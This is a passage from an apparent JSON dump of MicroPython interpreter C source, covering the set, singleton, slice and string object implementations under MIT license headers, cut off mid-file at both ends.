MP_BINARY_OP_LESS_EQUAL:\n            return set_issubset(lhs, rhs);\n        case MP_BINARY_OP_MORE_EQUAL:\n            return set_issuperset(lhs, rhs);\n        case MP_BINARY_OP_IN: {\n            mp_obj_set_t *o = MP_OBJ_TO_PTR(lhs);\n            mp_obj_t elem = mp_set_lookup(&o->set, rhs, MP_MAP_LOOKUP);\n            return mp_obj_new_bool(elem != MP_OBJ_NULL);\n        }\n        default:\n            return MP_OBJ_NULL; // op not supported\n    }\n}\n\n/******************************************************************************/\n/* set constructors & public C API                                            */\n\n\nSTATIC const mp_rom_map_elem_t set_locals_dict_table[] = {\n    { MP_ROM_QSTR(MP_QSTR_add), MP_ROM_PTR(&set_add_obj) },\n    { MP_ROM_QSTR(MP_QSTR_clear), MP_ROM_PTR(&set_clear_obj) },\n    { MP_ROM_QSTR(MP_QSTR_copy), MP_ROM_PTR(&set_copy_obj) },\n    { MP_ROM_QSTR(MP_QSTR_discard), MP_ROM_PTR(&set_discard_obj) },\n    { MP_ROM_QSTR(MP_QSTR_difference), MP_ROM_PTR(&set_diff_obj) },\n    { MP_ROM_QSTR(MP_QSTR_difference_update), MP_ROM_PTR(&set_diff_update_obj) },\n    { MP_ROM_QSTR(MP_QSTR_intersection), MP_ROM_PTR(&set_intersect_obj) },\n    { MP_ROM_QSTR(MP_QSTR_intersection_update), MP_ROM_PTR(&set_intersect_update_obj) },\n    { MP_ROM_QSTR(MP_QSTR_isdisjoint), MP_ROM_PTR(&set_isdisjoint_obj) },\n    { MP_ROM_QSTR(MP_QSTR_issubset), MP_ROM_PTR(&set_issubset_obj) },\n    { MP_ROM_QSTR(MP_QSTR_issuperset), MP_ROM_PTR(&set_issuperset_obj) },\n    { MP_ROM_QSTR(MP_QSTR_pop), MP_ROM_PTR(&set_pop_obj) },\n    { MP_ROM_QSTR(MP_QSTR_remove), MP_ROM_PTR(&set_remove_obj) },\n    { MP_ROM_QSTR(MP_QSTR_symmetric_difference), MP_ROM_PTR(&set_symmetric_difference_obj) },\n    { MP_ROM_QSTR(MP_QSTR_symmetric_difference_update), MP_ROM_PTR(&set_symmetric_difference_update_obj) },\n    { MP_ROM_QSTR(MP_QSTR_union), MP_ROM_PTR(&set_union_obj) },\n    { MP_ROM_QSTR(MP_QSTR_update), MP_ROM_PTR(&set_update_obj) },\n    { MP_ROM_QSTR(MP_QSTR___contains__), MP_ROM_PTR(&mp_op_contains_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(set_locals_dict, set_locals_dict_table);\n\nconst mp_obj_type_t mp_type_set = {\n    { &mp_type_type },\n    .name = MP_QSTR_set,\n    .print = set_print,\n    .make_new = set_make_new,\n    .unary_op = set_unary_op,\n    .binary_op = set_binary_op,\n    .getiter = set_getiter,\n    .locals_dict = (mp_obj_dict_t*)&set_locals_dict,\n};\n\n#if MICROPY_PY_BUILTINS_FROZENSET\nconst mp_obj_type_t mp_type_frozenset = {\n    { &mp_type_type },\n    .name = MP_QSTR_frozenset,\n    .print = set_print,\n    .make_new = set_make_new,\n    .unary_op = set_unary_op,\n    .binary_op = set_binary_op,\n    .getiter = set_getiter,\n    .locals_dict = (mp_obj_dict_t*)&set_locals_dict,\n};\n#endif\n\nmp_obj_t mp_obj_new_set(size_t n_args, mp_obj_t *items) {\n    mp_obj_set_t *o = m_new_obj(mp_obj_set_t);\n    o->base.type = &mp_type_set;\n    mp_set_init(&o->set, n_args);\n    for (size_t i = 0; i < n_args; i++) {\n        mp_set_lookup(&o->set, items[i], MP_MAP_LOOKUP_ADD_IF_NOT_FOUND);\n    }\n    return MP_OBJ_FROM_PTR(o);\n}\n\nvoid mp_obj_set_store(mp_obj_t self_in, mp_obj_t item) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_set));\n    mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_set_lookup(&self->set, item, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND);\n}\n\n#endif // MICROPY_PY_BUILTINS_SET\n"
  },
  {
    "path": "micropython/source/py/objsingleton.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/obj.h\"\n#include \"py/runtime0.h\"\n\n/******************************************************************************/\n/* singleton objects defined by Python                                        */\n\ntypedef struct _mp_obj_singleton_t {\n    mp_obj_base_t base;\n    qstr name;\n} mp_obj_singleton_t;\n\nSTATIC void singleton_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_singleton_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_printf(print, \"%q\", self->name);\n}\n\nconst mp_obj_type_t mp_type_singleton = {\n    { &mp_type_type },\n    .name = MP_QSTR_,\n    .print = singleton_print,\n};\n\nconst mp_obj_singleton_t mp_const_ellipsis_obj = {{&mp_type_singleton}, MP_QSTR_Ellipsis};\n#if MICROPY_PY_BUILTINS_NOTIMPLEMENTED\nconst mp_obj_singleton_t mp_const_notimplemented_obj = {{&mp_type_singleton}, MP_QSTR_NotImplemented};\n#endif\n"
  },
  {
    "path": "micropython/source/py/objslice.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/obj.h\"\n#include \"py/runtime0.h\"\n\n/******************************************************************************/\n/* slice object                                                               */\n\n#if MICROPY_PY_BUILTINS_SLICE\n\n// TODO: This implements only variant of slice with 2 integer args only.\n// CPython supports 3rd arg (step), plus args can be arbitrary Python objects.\ntypedef struct _mp_obj_slice_t {\n    mp_obj_base_t base;\n    mp_obj_t start;\n    mp_obj_t stop;\n    mp_obj_t step;\n} mp_obj_slice_t;\n\nSTATIC void slice_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_slice_t *o = MP_OBJ_TO_PTR(o_in);\n    mp_print_str(print, \"slice(\");\n    mp_obj_print_helper(print, o->start, PRINT_REPR);\n    mp_print_str(print, \", \");\n    mp_obj_print_helper(print, o->stop, PRINT_REPR);\n    mp_print_str(print, \", \");\n    mp_obj_print_helper(print, o->step, PRINT_REPR);\n    mp_print_str(print, \")\");\n}\n\n#if MICROPY_PY_BUILTINS_SLICE_ATTRS\nSTATIC void slice_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) {\n    if (dest[0] != MP_OBJ_NULL) {\n        // not load attribute\n        return;\n    }\n    mp_obj_slice_t *self = MP_OBJ_TO_PTR(self_in);\n    if (attr == MP_QSTR_start) {\n        dest[0] = self->start;\n    } else if (attr == MP_QSTR_stop) {\n        dest[0] = self->stop;\n    } else if (attr == MP_QSTR_step) {\n        dest[0] = self->step;\n    }\n}\n#endif\n\nconst mp_obj_type_t mp_type_slice = {\n    { &mp_type_type },\n    .name = MP_QSTR_slice,\n    .print = slice_print,\n#if MICROPY_PY_BUILTINS_SLICE_ATTRS\n    .attr = slice_attr,\n#endif\n};\n\nmp_obj_t mp_obj_new_slice(mp_obj_t ostart, mp_obj_t ostop, mp_obj_t ostep) {\n    mp_obj_slice_t *o = m_new_obj(mp_obj_slice_t);\n    o->base.type = &mp_type_slice;\n    o->start = ostart;\n    o->stop = ostop;\n    o->step = ostep;\n    return MP_OBJ_FROM_PTR(o);\n}\n\nvoid mp_obj_slice_get(mp_obj_t self_in, mp_obj_t *start, mp_obj_t *stop, mp_obj_t *step) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_slice));\n    mp_obj_slice_t *self = MP_OBJ_TO_PTR(self_in);\n    *start = self->start;\n    *stop = self->stop;\n    *step = self->step;\n}\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/objstr.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/unicode.h\"\n#include \"py/objstr.h\"\n#include \"py/objlist.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n#include \"py/stackctrl.h\"\n\nSTATIC mp_obj_t str_modulo_format(mp_obj_t pattern, size_t n_args, const mp_obj_t *args, mp_obj_t dict);\n\nSTATIC mp_obj_t mp_obj_new_bytes_iterator(mp_obj_t str, mp_obj_iter_buf_t *iter_buf);\nSTATIC NORETURN void bad_implicit_conversion(mp_obj_t self_in);\n\n/******************************************************************************/\n/* str                                                                        */\n\nvoid mp_str_print_quoted(const mp_print_t *print, const byte *str_data, size_t str_len, bool is_bytes) {\n    // this escapes characters, but it will be very slow to print (calling print many times)\n    bool has_single_quote = false;\n    bool has_double_quote = false;\n    for (const byte *s = str_data, *top = str_data + str_len; !has_double_quote && s < top; s++) {\n        if (*s == '\\'') {\n            has_single_quote = true;\n        } else if (*s == '\"') {\n            has_double_quote = true;\n        }\n    }\n    int quote_char = '\\'';\n    if (has_single_quote && !has_double_quote) {\n        quote_char = '\"';\n    }\n    mp_printf(print, \"%c\", quote_char);\n    for (const byte *s = str_data, *top = str_data + str_len; s < top; s++) {\n        if (*s == quote_char) {\n            mp_printf(print, \"\\\\%c\", quote_char);\n        } else if (*s == '\\\\') {\n            mp_print_str(print, \"\\\\\\\\\");\n        } else if (*s >= 0x20 && *s != 0x7f && (!is_bytes || *s < 0x80)) {\n            // In strings, anything which is not ascii control character\n            // is printed as is, this includes characters in range 0x80-0xff\n            // (which can be non-Latin letters, etc.)\n            mp_printf(print, \"%c\", *s);\n        } else if (*s == '\\n') {\n            mp_print_str(print, \"\\\\n\");\n        } else if (*s == '\\r') {\n            mp_print_str(print, \"\\\\r\");\n        } else if (*s == '\\t') {\n            mp_print_str(print, \"\\\\t\");\n        } else {\n            mp_printf(print, \"\\\\x%02x\", *s);\n        }\n    }\n    mp_printf(print, \"%c\", quote_char);\n}\n\n#if MICROPY_PY_UJSON\nvoid mp_str_print_json(const mp_print_t *print, const byte *str_data, size_t str_len) {\n    // for JSON spec, see http://www.ietf.org/rfc/rfc4627.txt\n    // if we are given a valid utf8-encoded string, we will print it in a JSON-conforming way\n    mp_print_str(print, \"\\\"\");\n    for (const byte *s = str_data, *top = str_data + str_len; s < top; s++) {\n        if (*s == '\"' || *s == '\\\\') {\n            mp_printf(print, \"\\\\%c\", *s);\n        } else if (*s >= 32) {\n            // this will handle normal and utf-8 encoded chars\n            mp_printf(print, \"%c\", *s);\n        } else if (*s == '\\n') {\n            mp_print_str(print, \"\\\\n\");\n        } else if (*s == '\\r') {\n            mp_print_str(print, \"\\\\r\");\n        } else if (*s == '\\t') {\n            mp_print_str(print, \"\\\\t\");\n        } else {\n            // this will handle control chars\n            mp_printf(print, \"\\\\u%04x\", *s);\n        }\n    }\n    mp_print_str(print, \"\\\"\");\n}\n#endif\n\nSTATIC void str_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    GET_STR_DATA_LEN(self_in, str_data, str_len);\n    #if MICROPY_PY_UJSON\n    if (kind == PRINT_JSON) {\n        mp_str_print_json(print, str_data, str_len);\n        return;\n    }\n    #endif\n    #if !MICROPY_PY_BUILTINS_STR_UNICODE\n    bool is_bytes = MP_OBJ_IS_TYPE(self_in, &mp_type_bytes);\n    #else\n    bool is_bytes = true;\n    #endif\n    if (kind == PRINT_RAW || (!MICROPY_PY_BUILTINS_STR_UNICODE && kind == PRINT_STR && !is_bytes)) {\n        mp_printf(print, \"%.*s\", str_len, str_data);\n    } else {\n        if (is_bytes) {\n            mp_print_str(print, \"b\");\n        }\n        mp_str_print_quoted(print, str_data, str_len, is_bytes);\n    }\n}\n\nmp_obj_t mp_obj_str_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n#if MICROPY_CPYTHON_COMPAT\n    if (n_kw != 0) {\n        mp_arg_error_unimpl_kw();\n    }\n#endif\n\n    mp_arg_check_num(n_args, n_kw, 0, 3, false);\n\n    switch (n_args) {\n        case 0:\n            return MP_OBJ_NEW_QSTR(MP_QSTR_);\n\n        case 1: {\n            vstr_t vstr;\n            mp_print_t print;\n            vstr_init_print(&vstr, 16, &print);\n            mp_obj_print_helper(&print, args[0], PRINT_STR);\n            return mp_obj_new_str_from_vstr(type, &vstr);\n        }\n\n        default: // 2 or 3 args\n            // TODO: validate 2nd/3rd args\n            if (MP_OBJ_IS_TYPE(args[0], &mp_type_bytes)) {\n                GET_STR_DATA_LEN(args[0], str_data, str_len);\n                GET_STR_HASH(args[0], str_hash);\n                if (str_hash == 0) {\n                    str_hash = qstr_compute_hash(str_data, str_len);\n                }\n                mp_obj_str_t *o = MP_OBJ_TO_PTR(mp_obj_new_str_of_type(type, NULL, str_len));\n                o->data = str_data;\n                o->hash = str_hash;\n                return MP_OBJ_FROM_PTR(o);\n            } else {\n                mp_buffer_info_t bufinfo;\n                mp_get_buffer_raise(args[0], &bufinfo, MP_BUFFER_READ);\n                return mp_obj_new_str(bufinfo.buf, bufinfo.len, false);\n            }\n    }\n}\n\nSTATIC mp_obj_t bytes_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)type_in;\n\n    #if MICROPY_CPYTHON_COMPAT\n    if (n_kw != 0) {\n        mp_arg_error_unimpl_kw();\n    }\n    #else\n    (void)n_kw;\n    #endif\n\n    if (n_args == 0) {\n        return mp_const_empty_bytes;\n    }\n\n    if (MP_OBJ_IS_STR(args[0])) {\n        if (n_args < 2 || n_args > 3) {\n            goto wrong_args;\n        }\n        GET_STR_DATA_LEN(args[0], str_data, str_len);\n        GET_STR_HASH(args[0], str_hash);\n        if (str_hash == 0) {\n            str_hash = qstr_compute_hash(str_data, str_len);\n        }\n        mp_obj_str_t *o = MP_OBJ_TO_PTR(mp_obj_new_str_of_type(&mp_type_bytes, NULL, str_len));\n        o->data = str_data;\n        o->hash = str_hash;\n        return MP_OBJ_FROM_PTR(o);\n    }\n\n    if (n_args > 1) {\n        goto wrong_args;\n    }\n\n    if (MP_OBJ_IS_SMALL_INT(args[0])) {\n        uint len = MP_OBJ_SMALL_INT_VALUE(args[0]);\n        vstr_t vstr;\n        vstr_init_len(&vstr, len);\n        memset(vstr.buf, 0, len);\n        return mp_obj_new_str_from_vstr(&mp_type_bytes, &vstr);\n    }\n\n    // check if argument has the buffer protocol\n    mp_buffer_info_t bufinfo;\n    if (mp_get_buffer(args[0], &bufinfo, MP_BUFFER_READ)) {\n        return mp_obj_new_str_of_type(&mp_type_bytes, bufinfo.buf, bufinfo.len);\n    }\n\n    vstr_t vstr;\n    // Try to create array of exact len if initializer len is known\n    mp_obj_t len_in = mp_obj_len_maybe(args[0]);\n    if (len_in == MP_OBJ_NULL) {\n        vstr_init(&vstr, 16);\n    } else {\n        mp_int_t len = MP_OBJ_SMALL_INT_VALUE(len_in);\n        vstr_init(&vstr, len);\n    }\n\n    mp_obj_iter_buf_t iter_buf;\n    mp_obj_t iterable = mp_getiter(args[0], &iter_buf);\n    mp_obj_t item;\n    while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) {\n        mp_int_t val = mp_obj_get_int(item);\n        #if MICROPY_FULL_CHECKS\n        if (val < 0 || val > 255) {\n            mp_raise_ValueError(\"bytes value out of range\");\n        }\n        #endif\n        vstr_add_byte(&vstr, val);\n    }\n\n    return mp_obj_new_str_from_vstr(&mp_type_bytes, &vstr);\n\nwrong_args:\n    mp_raise_TypeError(\"wrong number of arguments\");\n}\n\n// like strstr but with specified length and allows \\0 bytes\n// TODO replace with something more efficient/standard\nconst byte *find_subbytes(const byte *haystack, size_t hlen, const byte *needle, size_t nlen, int direction) {\n    if (hlen >= nlen) {\n        size_t str_index, str_index_end;\n        if (direction > 0) {\n            str_index = 0;\n            str_index_end = hlen - nlen;\n        } else {\n            str_index = hlen - nlen;\n            str_index_end = 0;\n        }\n        for (;;) {\n            if (memcmp(&haystack[str_index], needle, nlen) == 0) {\n                //found\n                return haystack + str_index;\n            }\n            if (str_index == str_index_end) {\n                //not found\n                break;\n            }\n            str_index += direction;\n        }\n    }\n    return NULL;\n}\n\n// Note: this function is used to check if an object is a str or bytes, which\n// works because both those types use it as their binary_op method.  Revisit\n// MP_OBJ_IS_STR_OR_BYTES if this fact changes.\nmp_obj_t mp_obj_str_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    // check for modulo\n    if (op == MP_BINARY_OP_MODULO) {\n        mp_obj_t *args = &rhs_in;\n        size_t n_args = 1;\n        mp_obj_t dict = MP_OBJ_NULL;\n        if (MP_OBJ_IS_TYPE(rhs_in, &mp_type_tuple)) {\n            // TODO: Support tuple subclasses?\n            mp_obj_tuple_get(rhs_in, &n_args, &args);\n        } else if (MP_OBJ_IS_TYPE(rhs_in, &mp_type_dict)) {\n            dict = rhs_in;\n        }\n        return str_modulo_format(lhs_in, n_args, args, dict);\n    }\n\n    // from now on we need lhs type and data, so extract them\n    mp_obj_type_t *lhs_type = mp_obj_get_type(lhs_in);\n    GET_STR_DATA_LEN(lhs_in, lhs_data, lhs_len);\n\n    // check for multiply\n    if (op == MP_BINARY_OP_MULTIPLY) {\n        mp_int_t n;\n        if (!mp_obj_get_int_maybe(rhs_in, &n)) {\n            return MP_OBJ_NULL; // op not supported\n        }\n        if (n <= 0) {\n            if (lhs_type == &mp_type_str) {\n                return MP_OBJ_NEW_QSTR(MP_QSTR_); // empty str\n            } else {\n                return mp_const_empty_bytes;\n            }\n        }\n        vstr_t vstr;\n        vstr_init_len(&vstr, lhs_len * n);\n        mp_seq_multiply(lhs_data, sizeof(*lhs_data), lhs_len, n, vstr.buf);\n        return mp_obj_new_str_from_vstr(lhs_type, &vstr);\n    }\n\n    // From now on all operations allow:\n    //    - str with str\n    //    - bytes with bytes\n    //    - bytes with bytearray\n    //    - bytes with array.array\n    // To do this efficiently we use the buffer protocol to extract the raw\n    // data for the rhs, but only if the lhs is a bytes object.\n    //\n    // NOTE: CPython does not allow comparison between bytes ard array.array\n    // (even if the array is of type 'b'), even though it allows addition of\n    // such types.  We are not compatible with this (we do allow comparison\n    // of bytes with anything that has the buffer protocol).  It would be\n    // easy to \"fix\" this with a bit of extra logic below, but it costs code\n    // size and execution time so we don't.\n\n    const byte *rhs_data;\n    size_t rhs_len;\n    if (lhs_type == mp_obj_get_type(rhs_in)) {\n        GET_STR_DATA_LEN(rhs_in, rhs_data_, rhs_len_);\n        rhs_data = rhs_data_;\n        rhs_len = rhs_len_;\n    } else if (lhs_type == &mp_type_bytes) {\n        mp_buffer_info_t bufinfo;\n        if (!mp_get_buffer(rhs_in, &bufinfo, MP_BUFFER_READ)) {\n            return MP_OBJ_NULL; // op not supported\n        }\n        rhs_data = bufinfo.buf;\n        rhs_len = bufinfo.len;\n    } else {\n        // LHS is str and RHS has an incompatible type\n        // (except if operation is EQUAL, but that's handled by mp_obj_equal)\n        bad_implicit_conversion(rhs_in);\n    }\n\n    switch (op) {\n        case MP_BINARY_OP_ADD:\n        case MP_BINARY_OP_INPLACE_ADD: {\n            if (lhs_len == 0 && mp_obj_get_type(rhs_in) == lhs_type) {\n                return rhs_in;\n            }\n            if (rhs_len == 0) {\n                return lhs_in;\n            }\n\n            vstr_t vstr;\n            vstr_init_len(&vstr, lhs_len + rhs_len);\n            memcpy(vstr.buf, lhs_data, lhs_len);\n            memcpy(vstr.buf + lhs_len, rhs_data, rhs_len);\n            return mp_obj_new_str_from_vstr(lhs_type, &vstr);\n        }\n\n        case MP_BINARY_OP_IN:\n            /* NOTE `a in b` is `b.__contains__(a)` */\n            return mp_obj_new_bool(find_subbytes(lhs_data, lhs_len, rhs_data, rhs_len, 1) != NULL);\n\n        //case MP_BINARY_OP_NOT_EQUAL: // This is never passed here\n        case MP_BINARY_OP_EQUAL: // This will be passed only for bytes, str is dealt with in mp_obj_equal()\n        case MP_BINARY_OP_LESS:\n        case MP_BINARY_OP_LESS_EQUAL:\n        case MP_BINARY_OP_MORE:\n        case MP_BINARY_OP_MORE_EQUAL:\n            return mp_obj_new_bool(mp_seq_cmp_bytes(op, lhs_data, lhs_len, rhs_data, rhs_len));\n    }\n\n    return MP_OBJ_NULL; // op not supported\n}\n\n#if !MICROPY_PY_BUILTINS_STR_UNICODE\n// objstrunicode defines own version\nconst byte *str_index_to_ptr(const mp_obj_type_t *type, const byte *self_data, size_t self_len,\n                             mp_obj_t index, bool is_slice) {\n    size_t index_val = mp_get_index(type, self_len, index, is_slice);\n    return self_data + index_val;\n}\n#endif\n\n// This is used for both bytes and 8-bit strings. This is not used for unicode strings.\nSTATIC mp_obj_t bytes_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) {\n    mp_obj_type_t *type = mp_obj_get_type(self_in);\n    GET_STR_DATA_LEN(self_in, self_data, self_len);\n    if (value == MP_OBJ_SENTINEL) {\n        // load\n#if MICROPY_PY_BUILTINS_SLICE\n        if (MP_OBJ_IS_TYPE(index, &mp_type_slice)) {\n            mp_bound_slice_t slice;\n            if (!mp_seq_get_fast_slice_indexes(self_len, index, &slice)) {\n                mp_raise_NotImplementedError(\"only slices with step=1 (aka None) are supported\");\n            }\n            return mp_obj_new_str_of_type(type, self_data + slice.start, slice.stop - slice.start);\n        }\n#endif\n        size_t index_val = mp_get_index(type, self_len, index, false);\n        // If we have unicode enabled the type will always be bytes, so take the short cut.\n        if (MICROPY_PY_BUILTINS_STR_UNICODE || type == &mp_type_bytes) {\n            return MP_OBJ_NEW_SMALL_INT(self_data[index_val]);\n        } else {\n            return mp_obj_new_str((char*)&self_data[index_val], 1, true);\n        }\n    } else {\n        return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC mp_obj_t str_join(mp_obj_t self_in, mp_obj_t arg) {\n    mp_check_self(MP_OBJ_IS_STR_OR_BYTES(self_in));\n    const mp_obj_type_t *self_type = mp_obj_get_type(self_in);\n\n    // get separation string\n    GET_STR_DATA_LEN(self_in, sep_str, sep_len);\n\n    // process args\n    size_t seq_len;\n    mp_obj_t *seq_items;\n\n    if (!MP_OBJ_IS_TYPE(arg, &mp_type_list) && !MP_OBJ_IS_TYPE(arg, &mp_type_tuple)) {\n        // arg is not a list nor a tuple, try to convert it to a list\n        // TODO: Try to optimize?\n        arg = mp_type_list.make_new(&mp_type_list, 1, 0, &arg);\n    }\n    mp_obj_get_array(arg, &seq_len, &seq_items);\n\n    // count required length\n    size_t required_len = 0;\n    for (size_t i = 0; i < seq_len; i++) {\n        if (mp_obj_get_type(seq_items[i]) != self_type) {\n            mp_raise_TypeError(\n                \"join expects a list of str/bytes objects consistent with self object\");\n        }\n        if (i > 0) {\n            required_len += sep_len;\n        }\n        GET_STR_LEN(seq_items[i], l);\n        required_len += l;\n    }\n\n    // make joined string\n    vstr_t vstr;\n    vstr_init_len(&vstr, required_len);\n    byte *data = (byte*)vstr.buf;\n    for (size_t i = 0; i < seq_len; i++) {\n        if (i > 0) {\n            memcpy(data, sep_str, sep_len);\n            data += sep_len;\n        }\n        GET_STR_DATA_LEN(seq_items[i], s, l);\n        memcpy(data, s, l);\n        data += l;\n    }\n\n    // return joined string\n    return mp_obj_new_str_from_vstr(self_type, &vstr);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(str_join_obj, str_join);\n\nmp_obj_t mp_obj_str_split(size_t n_args, const mp_obj_t *args) {\n    const mp_obj_type_t *self_type = mp_obj_get_type(args[0]);\n    mp_int_t splits = -1;\n    mp_obj_t sep = mp_const_none;\n    if (n_args > 1) {\n        sep = args[1];\n        if (n_args > 2) {\n            splits = mp_obj_get_int(args[2]);\n        }\n    }\n\n    mp_obj_t res = mp_obj_new_list(0, NULL);\n    GET_STR_DATA_LEN(args[0], s, len);\n    const byte *top = s + len;\n\n    if (sep == mp_const_none) {\n        // sep not given, so separate on whitespace\n\n        // Initial whitespace is not counted as split, so we pre-do it\n        while (s < top && unichar_isspace(*s)) s++;\n        while (s < top && splits != 0) {\n            const byte *start = s;\n            while (s < top && !unichar_isspace(*s)) s++;\n            mp_obj_list_append(res, mp_obj_new_str_of_type(self_type, start, s - start));\n            if (s >= top) {\n                break;\n            }\n            while (s < top && unichar_isspace(*s)) s++;\n            if (splits > 0) {\n                splits--;\n            }\n        }\n\n        if (s < top) {\n            mp_obj_list_append(res, mp_obj_new_str_of_type(self_type, s, top - s));\n        }\n\n    } else {\n        // sep given\n        if (mp_obj_get_type(sep) != self_type) {\n            bad_implicit_conversion(sep);\n        }\n\n        size_t sep_len;\n        const char *sep_str = mp_obj_str_get_data(sep, &sep_len);\n\n        if (sep_len == 0) {\n            mp_raise_ValueError(\"empty separator\");\n        }\n\n        for (;;) {\n            const byte *start = s;\n            for (;;) {\n                if (splits == 0 || s + sep_len > top) {\n                    s = top;\n                    break;\n                } else if (memcmp(s, sep_str, sep_len) == 0) {\n                    break;\n                }\n                s++;\n            }\n            mp_obj_list_append(res, mp_obj_new_str_of_type(self_type, start, s - start));\n            if (s >= top) {\n                break;\n            }\n            s += sep_len;\n            if (splits > 0) {\n                splits--;\n            }\n        }\n    }\n\n    return res;\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(str_split_obj, 1, 3, mp_obj_str_split);\n\n#if MICROPY_PY_BUILTINS_STR_SPLITLINES\nSTATIC mp_obj_t str_splitlines(size_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    enum { ARG_keepends };\n    static const mp_arg_t allowed_args[] = {\n        { MP_QSTR_keepends, MP_ARG_BOOL, {.u_bool = false} },\n    };\n\n    // parse args\n    mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n    mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n    const mp_obj_type_t *self_type = mp_obj_get_type(pos_args[0]);\n    mp_obj_t res = mp_obj_new_list(0, NULL);\n\n    GET_STR_DATA_LEN(pos_args[0], s, len);\n    const byte *top = s + len;\n\n    while (s < top) {\n        const byte *start = s;\n        size_t match = 0;\n        while (s < top) {\n            if (*s == '\\n') {\n                match = 1;\n                break;\n            } else if (*s == '\\r') {\n                if (s[1] == '\\n') {\n                    match = 2;\n                } else {\n                    match = 1;\n                }\n                break;\n            }\n            s++;\n        }\n        size_t sub_len = s - start;\n        if (args[ARG_keepends].u_bool) {\n            sub_len += 